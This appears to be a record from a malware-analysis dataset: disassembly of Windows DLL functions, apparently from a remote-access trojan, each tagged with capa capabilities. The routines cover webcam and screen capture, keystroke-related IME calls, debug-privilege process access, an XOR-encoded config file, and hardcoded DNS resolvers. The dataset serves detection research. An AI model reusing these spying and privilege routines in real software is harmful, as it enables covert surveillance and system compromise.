joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008860
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
push 0x1001f854
call fcn.10007d30
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
mov edi, eax
push str.GetLogicalDriveStringsA
push edi
call esi
push str.GetVolumeInformationA
push edi
mov dword [0x10022800], eax
call esi
push str.GetDiskFreeSpaceExA
push edi
mov dword [0x10022804], eax
call esi
push str.GetDriveTypeA
push edi
mov dword [0x10022808], eax
call esi
push str.SHELL32.DLL
mov dword [0x10022554], eax
call fcn.10007d30
add esp, 4
mov edi, eax
push str.SHGetFileInfoA
push edi
call esi
push str.SHGetSpecialFolderPathA
push edi
mov dword [0x100227fc], eax
call esi
pop edi
mov dword [0x1002273c], eax
pop esi
ret

Function at 0x100088e0
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
push str.AVICAP32.DLL
call fcn.10007d30
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
mov edi, eax
push str.capCreateCaptureWindowA
push edi
call esi
push str.capGetDriverDescriptionA
push edi
mov dword [0x100225c8], eax
call esi
push str.MSVFW32.DLL
mov dword [0x10022810], eax
call fcn.10007d30
add esp, 4
mov edi, eax
push str.ICSeqCompressFrameStart
push edi
call esi
push str.ICSeqCompressFrameEnd
push edi
mov dword [0x100224ec], eax
call esi
push str.ICSeqCompressFrame
push edi
mov dword [0x100226f4], eax
call esi
push str.ICCompressorFree
push edi
mov dword [0x10022720], eax
call esi
push str.ICClose
push edi
mov dword [0x100225a0], eax
call esi
push str.ICSendMessage
push edi
mov dword [0x100226d8], eax
call esi
push str.ICOpen
push edi
mov dword [0x100225dc], eax
call esi
push str.ICInfo
push edi
mov dword [0x10022830], eax
call esi
push str.ICInstall
push edi
mov dword [0x10022820], eax
call esi
push str.ICRemove
push edi
mov dword [0x10022824], eax
call esi
push str.ICLocate
push edi
mov dword [0x10022828], eax
call esi
pop edi
mov dword [0x1002282c], eax
pop esi
ret
Function at 0x100089c0
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
push str.WTSAPI32.DLL
call fcn.10007d30
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
mov edi, eax
push str.WTSQuerySessionInformationA
push edi
call esi
push str.WTSFreeMemory
push edi
mov dword [0x10022550], eax
call esi
push str.PSAPI.DLL
mov dword [0x10022708], eax
call fcn.10007d30
add esp, 4
mov edi, eax
push str.EnumProcessModules
push edi
call esi
push str.GetModuleFileNameExA
push edi
mov dword [0x10022480], eax
call esi
push str.IMM32.DLL
mov dword [0x10022718], eax
call fcn.10007d30
add esp, 4
mov edi, eax
push str.ImmGetCompositionStringA
push edi
call esi
push str.ImmGetContext
push edi
mov dword [0x10022520], eax
call esi
push str.ImmReleaseContext
push edi
mov dword [0x10022814], eax
call esi
push str.shlwapi.dll
mov dword [0x10022648], eax
call fcn.10007d30
add esp, 4
mov edi, eax
push str.SHDeleteKeyA
push edi
call esi
push str.SHCopyKeyA
push edi
mov dword [0x100224a0], eax
call esi
push str.GDI32.DLL
mov dword [0x10022694], eax
call fcn.10007d30
add esp, 4
mov edi, eax
push str.BitBlt
push edi
call esi
push str.CreateCompatibleBitmap
push edi
mov dword [0x100225cc], eax
call esi
push str.CreateCompatibleDC
push edi
mov dword [0x10022680], eax
call esi
push str.CreateDIBSection
push edi
mov dword [0x10022678], eax
call esi
push str.DeleteDC
push edi
mov dword [0x10022614], eax
call esi
push str.DeleteObject
mov dword [0x100224d4], eax
push edi
call esi
push str.GetDIBits
push edi
mov dword [0x10022560], eax
call esi
push str.SelectObject
push edi
mov dword [0x10022610], eax
call esi
push str.WININET.DLL
mov dword [0x100226c8], eax
call fcn.10007d30
add esp, 4
mov edi, eax
push str.InternetOpenA
push edi
call esi
push str.InternetOpenUrlA
push edi
mov dword [0x10022834], eax
call esi
push str.InternetReadFile
push edi
mov dword [0x100225b8], eax
call esi
push str.InternetCloseHandle
push edi
mov dword [0x10022690], eax
call esi
push str.sFC.dLl
mov dword [0x10022714], eax
call fcn.10007d30
add esp, 4
push str.SfcIsFileProtected
push eax
call esi
pop edi
mov dword [0x1002272c], eax
pop esi
ret
Function at 0x10009180
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x30]
push 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x100091f6
mov ecx, dword [esp + 0x38]
mov edx, dword [esp + 0x34]
mov esi, dword [esp + 0x14]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x100091f6
mov eax, dword [esi + 0x3c]
xor ecx, ecx
add eax, esi
sub edi, esi
xor ebp, ebp
mov cx, word [eax + 0x14]
lea edx, [ecx + eax + 0x18]
xor ecx, ecx
mov cx, word [eax + 6]
test ecx, ecx
jbe 0x100091f6
lea eax, [edx + 0x10]
mov edx, dword [eax]
mov esi, dword [eax - 8]
mov ebx, dword [eax - 4]
cmp edx, esi
ja 0x100091e4
mov edx, esi
cmp edi, ebx
jb 0x100091ee
add edx, ebx
cmp edi, edx
jbe 0x10009200
inc ebp
add eax, 0x28
cmp ebp, ecx
jb 0x100091d6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x40]
inc ebp
sub edi, ebx
mov dword [edx], ebp
mov dword [eax], edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1c
ret

Function at 0x1000a950
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10018503
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push esi
mov esi, ecx
push eax
mov dword [esp + 0xc], esi
call fcn.10008b50
xor ebx, ebx
push 0x10c
mov dword [esp + 0x18], ebx
mov dword [esi], 0x100192c8
mov byte [esi + 0x1c], 1
mov dword [esi + 0x28], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x1c], eax
cmp eax, ebx
mov byte [esp + 0x14], 1
je 0x1000a9b7
push 0x64
push ebx
push 8
mov ecx, eax
call int.1000b340
jmp 0x1000a9b9
xor eax, eax
push 1
push ebx
push ebx
push esi
push 0x1000aee0
push ebx
push ebx
mov byte [esp + 0x30], bl
mov dword [esi + 0x34], eax
mov dword [esi + 0x10], 1
mov dword [esi + 0x18], ebx
mov byte [esi + 0x14], bl
mov byte [esi + 0x24], bl
call fcn.1000f8c0
push 1
push ebx
push ebx
push esi
push 0x1000af80
push ebx
push ebx
mov dword [esi + 0x2c], eax
call fcn.1000f8c0
mov ecx, dword [esp + 0x44]
add esp, 0x38
mov dword [esi + 0x30], eax
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x1000aa30
Capabilities:
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x10018518
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x100192c8
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea eax, [esi + 0x18]
push 0
push eax
mov dword [esp + 0x1c], 0
call edi
lea ecx, [esi + 0x10]
push 0
push ecx
call edi
mov edx, dword [esi + 0x2c]
push 0xffffffffffffffff
push edx
call dword [0x10022498]
mov eax, dword [esi + 0x30]
push 0xffffffffffffffff
push eax
call dword [0x10022498]
mov ecx, dword [esi + 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov edx, dword [esi + 0x30]
push edx
call edi
mov ecx, dword [esi + 0x34]
test ecx, ecx
je 0x1000aaa9
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, esi
mov dword [esp + 0x14], 0xffffffff
call fcn.10008ba0
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x1000dff0
Capabilities:
Check os version
Get system information on windows

Disassembly:
sub esp, 0x134
push ebx
push esi
mov esi, dword [esp + 0x140]
xor ebx, ebx
push edi
push ebx
push ebx
mov byte [esi], 0x66
call fcn.10010500
mov byte [0x100232ec], al
add esp, 8
mov byte [esi + 0xda], al
lea eax, [esi + 4]
push eax
mov dword [eax], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esi + 0xa8]
push 0x32
push eax
call dword [0x10021888]
call fcn.1000df90
mov dword [esi + 0xa0], eax
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x20]
mov dword [esp + 0x1c], ebx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dx, word [esp + 0x30]
mov word [esi + 0xe0], dx
mov eax, dword [0x100227fc]
cmp eax, ebx
jne 0x1000e07a
call fcn.10008860
lea eax, [esp + 0x40]
push ebp
push eax
push 0x100
call dword [0x10022800]
mov al, byte [esp + 0x44]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp al, bl
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov dword [esi + 0xec], ebx
mov dword [esi + 0xf0], ebx
lea edi, [esp + 0x44]
je 0x1000e117
cmp byte [edi], 0x42
jle 0x1000e10c
lea ecx, [esp + 0x18]
push ebx
lea edx, [esp + 0x14]
push ecx
push edx
push edi
call dword [0x10022808]
test eax, eax
je 0x1000e10c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.10017f40
mov edx, dword [esi + 0xec]
mov ecx, 0x14
add edx, eax
mov eax, dword [esp + 0x10]
mov dword [esi + 0xec], edx
mov edx, dword [esp + 0x14]
call fcn.10017f40
add dword [esi + 0xf0], eax
push edi
call ebp
lea edi, [edi + eax + 1]
cmp byte [edi], bl
jne 0x1000e0b9
lea edi, [esi + 0x248]
mov byte [esi + 0xdb], 1
push edi
call fcn.1000dcc0
add esp, 4
test eax, eax
jne 0x1000e13a
push edi
call fcn.1000db00
add esp, 4
push edi
call ebp
cmp eax, 5
pop ebp
jge 0x1000e14c
push edi
call fcn.1000da00
add esp, 4
mov byte [esi + 0x25c], bl
mov eax, dword [str.BBPP_5___Bf]
add eax, 0x1e0
cmp byte [eax], bl
jne 0x1000e165
mov eax, 0x100212a0
push 0x13
add esi, 0x25d
push eax
push esi
call sub.MSVCRT.dll_strncpy
add esp, 0xc
pop edi
pop esi
pop ebx
add esp, 0x134
ret
Function at 0x1000e190
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x58c
push esi
mov esi, dword [esp + 0x59c]
xor eax, eax
push edi
mov ecx, 0xa1
lea edi, [esp + 0x74]
mov dword [esp + 0xc], eax
lea edx, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x598]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea ecx, [esp + 8]
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x14], 0x10
call dword [0x100218a0]
mov ecx, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 0x118], ecx
mov ecx, 0xf
lea edi, [esp + 0x38]
lea edx, [esp + 0x34]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x38], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x3c]
mov edx, dword [esp + 0x40]
mov ecx, 0x14
call fcn.10017f40
mov edx, dword [esp + 0x48]
mov dword [esp + 0x158], eax
mov eax, dword [esp + 0x44]
mov ecx, 0x14
call fcn.10017f40
mov dword [esp + 0x15c], eax
mov eax, dword [esp + 0x59c]
push 6
lea ecx, [esp + 0x16c]
push str.090504
push ecx
mov dword [esp + 0x15c], eax
call sub.MSVCRT.dll_strncpy
call fcn.10003d00
mov edx, dword [str.BBPP_5___Bf]
mov dword [esp + 0x17a], eax
add edx, 0x2fe
push 0x103
lea eax, [esp + 0x182]
push edx
push eax
call sub.MSVCRT.dll_strncpy
mov ecx, dword [str.BBPP_5___Bf]
push 0x31
add ecx, 0x4fc
lea edx, [esp + 0x2a4]
push ecx
push edx
call sub.MSVCRT.dll_strncpy
mov eax, dword [str.BBPP_5___Bf]
add esp, 0x24
mov ecx, dword [eax + 0x4f8]
mov dword [esp + 0x27c], ecx
mov edx, dword [eax + 0x4f4]
lea eax, [esp + 0x2c]
mov dword [esp + 0x278], edx
lea ecx, [esp + 0x24]
push eax
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x2ed]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov cl, byte [0x10022464]
mov edx, dword [0x100232f0]
mov eax, dword [0x100232f4]
mov byte [esp + 0x2ed], cl
lea ecx, [esp + 0x74]
push 0x51f
push ecx
mov ecx, esi
mov dword [esp + 0x2f8], edx
mov dword [esp + 0x2fc], eax
call fcn.10002cb0
pop edi
pop esi
add esp, 0x58c
ret
Function at 0x1000e330
Capabilities:
Encode data using xor
Get common file path

Disassembly:
sub esp, 0x808
lea eax, [esp + 0x10c]
push ebx
push ebp
push esi
push edi
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x11c]
lea edx, [esp + 0x18]
push ecx
push edx
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x18]
push 0x1001f9cc
push eax
call ebp
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [str.BBPP_5___Bf]
lea esi, [esp + eax + 0x18]
add edx, 0x10
push edx
push esi
call edi
push esi
call fcn.10003f10
add esp, 4
push str..cfg
push esi
call ebp
push 0
push 0x80
push 4
push 0
push 0
lea eax, [esp + 0x2c]
push 2
push eax
call dword [0x100225b0]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000e461
mov esi, dword [str.BBPP_5___Bf]
mov ecx, 0x17e
lea edi, [esp + 0x220]
rep movsd dword es:[edi], dword [esi]
lea esi, [esp + 0x220]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
call sub.MSVCRT.dll_rand
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fmul qword [0x100192b8]
call sub.MSVCRT.dll__ftol
test al, al
je 0x1000e3f0
mov ecx, 0x5f8
mov dl, byte [esi]
xor dl, al
mov byte [esi], dl
inc esi
dec ecx
jne 0x1000e411
lea ecx, [esp + 0x14]
push 0
push ecx
lea edx, [esp + 0x228]
push 0x5f8
push edx
push ebx
call dword [0x10022818]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x11c]
push str.kernel32.dll
push eax
call ebp
lea ecx, [esp + 0x18]
lea edx, [esp + 0x11c]
push ecx
push edx
call fcn.10004440
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret

Function at 0x1000e470
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ecx, 0x5f8
mov eax, esi
mov dl, byte [esi + 0xf]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec ecx
jne 0x1000e480
mov al, byte [esi]
mov cl, byte [esi + 0xe]
pop esi
cmp al, cl
pop ebx
jne 0x1000e49c
cmp al, 0x24
jne 0x1000e49c
mov al, 1
ret
xor al, al
ret
Function at 0x1000e4a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0xcf8
push ebx
push esi
mov esi, dword [0x1002330c]
push edi
test esi, esi
mov dword [esp + 0xc], 0
jne 0x1000e4d5
push esi
push 0x80
push 3
push esi
push 1
push 1
push 0x10022da4
call dword [0x100225b0]
mov esi, eax
push 2
push 0
push 0xfffffa08
push esi
call dword [0x100226ec]
lea eax, [esp + 0xc]
push 0
push eax
lea ecx, [esp + 0x714]
push 0x5f8
push ecx
push esi
call dword [0x10022630]
mov eax, dword [0x1002330c]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000e512
push esi
call ebx
lea edx, [esp + 0x70c]
push edx
call fcn.1000e470
add esp, 4
test al, al
je 0x1000e691
mov edi, dword [str.BBPP_5___Bf]
mov ecx, 0x17e
lea esi, [esp + 0x70c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x10]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push 0x1001f9cc
push edx
call edi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [str.BBPP_5___Bf]
lea esi, [esp + eax + 0x10]
add ecx, 0x10
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
call fcn.10003f10
add esp, 4
push str..cfg
push esi
call edi
push 0
push 0x80
push 3
push 0
push 1
lea edx, [esp + 0x24]
push 1
push edx
call dword [0x100225b0]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000e685
lea eax, [esp + 0xc]
push 0
push eax
lea ecx, [esp + 0x11c]
push 0x5f8
push ecx
push esi
call dword [0x10022630]
push esi
call ebx
lea edx, [esp + 0x114]
push edx
call fcn.1000e470
add esp, 4
test al, al
je 0x1000e685
mov eax, dword [str.090504]
mov ecx, dword [0x100212b0]
mov dx, word [str.kernel32.dll]
mov dword [esp + 0x408], eax
mov eax, dword [str.BBPP_5___Bf]
mov dword [esp + 0x40c], ecx
mov ecx, 0x19
lea edi, [esp + 0x4da]
lea esi, [eax + 0x3c6]
mov word [esp + 0x410], dx
rep movsd dword es:[edi], dword [esi]
lea esi, [eax + 0x42a]
mov ecx, 0x32
lea edi, [esp + 0x53e]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [eax + 0x544]
mov ecx, 0x19
lea edi, [esp + 0x658]
rep movsd dword es:[edi], dword [esi]
lea esi, [eax + 0x1e0]
mov ecx, 5
lea edi, [esp + 0x2f4]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0xc]
mov edi, eax
mov eax, ecx
lea esi, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0xcf8
ret
mov eax, dword [str.BBPP_5___Bf]
push eax
call fcn.1000e470
add esp, 4
test al, al
jne 0x1000e53e
pop edi
pop esi
pop ebx
add esp, 0xcf8
ret
Function at 0x1000f370
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
push ebp
push esi
push edi
mov esi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], esi
call fcn.1000f600
mov ebp, dword [esp + 0x20]
add esp, 8
xor edi, edi
test ebp, ebp
jbe 0x1000f3e1
push ebx
mov ebx, dword [esp + 0x18]
mov eax, dword [edi + ebx]
push eax
push 0
push 0x1f0fff
call dword [0x10022504]
mov esi, eax
test esi, esi
je 0x1000f3bc
push 0
push esi
call dword [0x100225e8]
test eax, eax
jne 0x1000f3ca
mov ecx, dword [edi + ebx]
push 0
push ecx
call fcn.100041d0
add esp, 8
test esi, esi
je 0x1000f3d5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add edi, 4
cmp edi, ebp
jb 0x1000f398
mov esi, dword [esp + 0x10]
pop ebx
push 0
push str.SeDebugPrivilege
call fcn.1000f600
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call fcn.1000f1d0
mov ecx, esi
call fcn.1000f210
pop edi
pop esi
pop ebp
pop ecx
ret 8
Function at 0x1000f410
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x234
push edi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x10]
mov dword [esp + 0xc], 0
mov byte [esp + 0x134], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x135]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
stosb byte es:[edi], al
call fcn.1000f600
add esp, 8
push 0
push 2
call dword [0x10022488]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 8], edi
jne 0x1000f472
xor eax, eax
pop edi
add esp, 0x234
ret
push ebx
push ebp
push esi
push 0x400
push 0x40
mov dword [esp + 0x20], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x18]
push eax
push edi
mov byte [ebp], 0x7d
mov ebx, 1
call dword [0x10022748]
test eax, eax
je 0x1000f5ce
mov ecx, dword [esp + 0x20]
push ecx
push 0
push 0x410
call dword [0x10022504]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
test ecx, ecx
je 0x1000f5af
cmp ecx, 4
je 0x1000f5af
cmp ecx, 8
je 0x1000f5af
test eax, eax
mov byte [esp + 0x140], 0
je 0x1000f4ff
lea edx, [esp + 0x140]
push 0x104
push edx
push 0
push eax
call dword [0x10022718]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x3c]
push eax
call esi
lea ecx, [esp + 0x140]
mov edi, eax
push ecx
call esi
lea eax, [edi + eax + 6]
push ebp
lea edi, [eax + ebx]
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, edi
jae 0x1000f536
push 0x42
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x3c]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call esi
mov ecx, eax
lea esi, [esp + 0x3c]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x3c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x140]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x140]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x140]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000f5ba
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
push ecx
push edi
call dword [0x10022734]
test eax, eax
jne 0x1000f4a9
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000f600
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x234
ret
Function at 0x1000f8c0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push 0
push 0
push 0
push 0
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], dl
call dword [0x100224d8]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x28]
test eax, eax
jne 0x1000f8f9
lea eax, [esp + 0x2c]
mov edx, dword [esp + 0x18]
push esi
push eax
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 0x20]
push ecx
push 0x1000f830
push edx
push eax
call sub.MSVCRT.dll__beginthreadex
mov ecx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push ecx
call dword [0x10022498]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x1000fbc0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1000fc0a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1000fc0a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x1000fc27
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x1000fc27
call fcn.1000fa30
pop edi
pop esi
add esp, 0x9c
ret
call fcn.1000f9d0
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x1000fec0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 8
mov eax, dword [0x1002339c]
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
push edi
xor edi, edi
cmp eax, edi
mov dword [esp + 0x10], edi
je 0x1000ff0a
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x100233a0]
cmp eax, 0x493e0
jae 0x1000ff0a
push 0x10023338
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1000ff0a
mov eax, dword [0x1002339c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov eax, dword [0x10023334]
mov ebp, 0xa
cmp eax, ebp
jae 0x1000ff65
mov esi, dword [0x10021884]
push ebx
call esi
cmp eax, edi
je 0x1000ff34
mov eax, dword [eax + 0xc]
pop edi
pop esi
pop ebp
mov ecx, dword [eax]
pop ebx
mov eax, dword [ecx]
add esp, 8
ret
push str.www.baidu.com
call esi
test eax, eax
jne 0x1001002f
push str.www.163.com
call esi
and eax, eax
jne 0x1001002f
mov eax, dword [0x10023334]
inc eax
cmp eax, ebp
mov dword [0x10023334], eax
jb 0x10010023
push str.dnSaPI.dlL
call dword [0x10022778]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.DnsQuery_A
push esi
call edi
push str.DnsRecordListFree
push esi
mov ebp, eax
call edi
push 0x28
mov dword [esp + 0x18], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, dword [0x100218b8]
add esp, 4
mov esi, eax
push str.202.102.152.3
mov dword [esi], 5
call edi
push str.202.96.102.3
mov dword [esi + 4], eax
call edi
push str.202.99.160.68
mov dword [esi + 8], eax
call edi
push str.202.101.224.68
mov dword [esi + 0xc], eax
call edi
push str.202.96.75.68
mov dword [esi + 0x10], eax
call edi
lea edx, [esp + 0x1c]
push 0
push esi
push edx
push 8
push 1
push ebx
mov dword [esi + 0x14], eax
call ebp
test eax, eax
jne 0x1001001a
mov eax, dword [esp + 0x1c]
push 1
push eax
mov edi, dword [eax + 0x18]
mov dword [esp + 0x18], edi
call dword [esp + 0x1c]
push ebx
push 0x10023338
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x1002339c], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x100233a0], eax
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov eax, dword [esp + 0x10]
mov dword [0x10023334], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret